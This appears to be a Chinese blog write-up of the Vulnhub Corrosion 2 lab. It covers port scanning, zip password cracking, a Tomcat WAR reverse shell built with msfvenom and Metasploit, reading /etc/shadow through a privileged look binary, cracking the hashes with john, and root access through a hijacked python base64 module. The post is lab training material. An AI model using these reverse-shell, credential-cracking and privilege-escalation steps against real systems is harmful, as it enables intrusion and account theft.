靶机Vulnhub-Corrosion 2

靶机安装

Corrosion 1打一半出现点问题,还没解决,于是先把Corrosion 2打了

靶机地址:https://www.vulnhub.com/entry/corrosion-2,745/


信息收集

先找ip扫端口

arp-scan -l

nmap -A 192.168.160.144

三个端口22,80,8080

都访问一下,发现22打不开,其他两个可以正常访问

dirsearch扫一下

dirsearch -u “192.168.160.144:80”

dirsearch -u "192.168.160.144:8080"

80端口没扫到什么

8080端口扫到蛮多东西

/manager/需要账号密码登录

/readme.txt

算是点小提示吧

还有个/backup.zip下载下来

解压时发现要密码

于是用工具fcrackzip爆破

安装工具:

sudo apt install fcrackzip

把/backup.zip放到kali里来

命令:

fcrackzip -D -p ‘字典位置’ -u ‘需要爆破的zip’

fcrackzip -D -p '/home/plb/Desktop/rockyou.txt' -u '/home/plb/Desktop/backup.zip'

字典一般是在/usr/share/wordlists/rockyou.txt

我访问的时候有点问题,就把他放桌面上了

得到密码:@administrator_hi5

解压/backup.zip

在tomcat-users.xml里找到两个账号和密码

回到/manager登录

登录成功

Tomcat系统


漏洞攻击

发现可以上传VAR文件

所以可以通过部署war包来getshell

但是这里自己做war包并在里面写木马的话行不通,访问直接显示404

这里有两种方法

方法一:

用msfvenom来做war

msfvenom -p java/jsp_shell_reverse_tcp LHOST="192.168.160.133" LPORT=4444 -f war > '/home/plb/Desktop/cmdmsf.war'

命令介绍

然后将生成的cmdmsf.war部署

监听4444端口,然后访问/cmdmsf

这次不是404了

kali上也监听到了

再用个python来获取交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

方法二:

使用msf

Metasploit Framework(MSF)是一个广泛使用的开源渗透测试工具集和开发平台

在msf 有个可以在Tomcat 上传webshell的模块,有用户名和密码就可以使用

输入命令:

msfconsole

命令介绍

msfconsole是Metasploit Framework中最常用的命令行接口,提供了一个交互式shell,允许用户直接与Metasploit Framework进行交互。用户可以使用命令执行各种操作,如搜索模块、加载模块、设置模块参数、运行Exploits等。

搜索攻击模块:

search tomcat upload

使用第三个模块,/tomcat_mgr_upload

use 3

接下来设置账号、密码、ip信息、端口信息

密码

set HttpPassword melehifokivai

账号

set Httpusername manager

ip

et rhosts 192.168.160.144

端口

set rport 8080

查看当前加载的模块

show options

然后运行

run

输入shell

还可以输入其他命令看看

可以看到成功了

然后就是找有用的东西

在/home下可以看到两个用户

也可以用命令查

cat /etc/passwd | grep "/bin/bash"

cat /etc/passwd | grep "/bin/sh"

两个用户

jaye和randy

先进到/home/randy下看看

在note.txt可以看到告诉我们没有权限

在user.txt里可以看到第一个flag

然后看看/home/

没权限

我们现在是tomcat

经过尝试发现切换成 jaye 用户

也可以连jaye的ssh

密码用之前爆出来的melehifokivai

切换后可以看到etc/passwd

然后在Files里可以可以看到look文件

cat look
file look
which look

试一下

是系统的look命令,look命令可以越权访问

第一次遇到这个知识

看了其他师傅的介绍后大概就是

直接cat /etc/shadow访问不了

但是

LFILE=/etc/shadow
./look '' "$LFILE"

这样就可以查看到/etc/shadow

这样etc/passwd和/etc/shadow都查看到了

在linux中,etc/passwd文件包含了系统中的用户账户信息(但不包含密码),而/etc/shadow文件则包含了用户的加密密码以及与密码相关的安全设置。

但是直接看的话看不出什么

需要使用john进行密码爆破

先把etc/passwd和/etc/shadow保存

vim passwd
vim shadow

分别粘贴进去后按Esc进入命令模式,然后输入:wq即可保存退出

然后将这两个文件合成一个

unshadow passwd shadow > pssword.txt

然后开始爆破账号密码

破解时间取决于密码的复杂程度

使用john工具进行破解

john --wordlist='/home/plb/Desktop/rockyou.txt' '/home/plb/Desktop/pssword.txt'

这里的rockyou.txt跟上面fcrackzip用的是同一个

默认地址也是/usr/share/wordlists/rockyou.txt,但我的被我移动到桌面上来了

这里爆破要好久

爆出来是

账号: jaye,密码:melehifokivai

账号:randy 密码:07051986randy

jaye和刚才的是一样的

连randy的ssh


base提权

查看一下可以执行的root权限的命令

sudo -l

发现了randombase64.py

可以看,但不可以改

但是可以看到其引入了base64模块

所以可以利用修改base64模块来达到提权

先找的其引用的base64脚本

查找命令:

locate base64

前面查sudo -l时告诉了我们路径/usr/bin/python3.8

所以就是/usr/bin/python3.8/base64.py了

用cd进入目录

cd /usr/lib/python3.8

并且查一下文件

ls -al

可以看到base64.py的权限是

-rwxrwxrwx

该权限可以改写

vim编辑器在这里用不了

这里要用nano

nano base64.py

在模块这里加上impor os即引用os模块

然后在下面加上os.system(“/bin/bash”)

Ctrl+o保存

Ctrl+x退出

接下来执行命令运行randombase64.py,就可以获取root权限了

sudo /usr/bin/python3.8 /home/randy/randombase64.py

cd /root

拿flag


分析总结

考点:

用fcrackzip爆破zip密码

部署war拿shell

利用john爆破etc/passwd和/etc/shadow

修改base64模块提权

遇到好几个之前没学过的知识,这个靶机的提权也比较简单好理解

比1好玩多了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇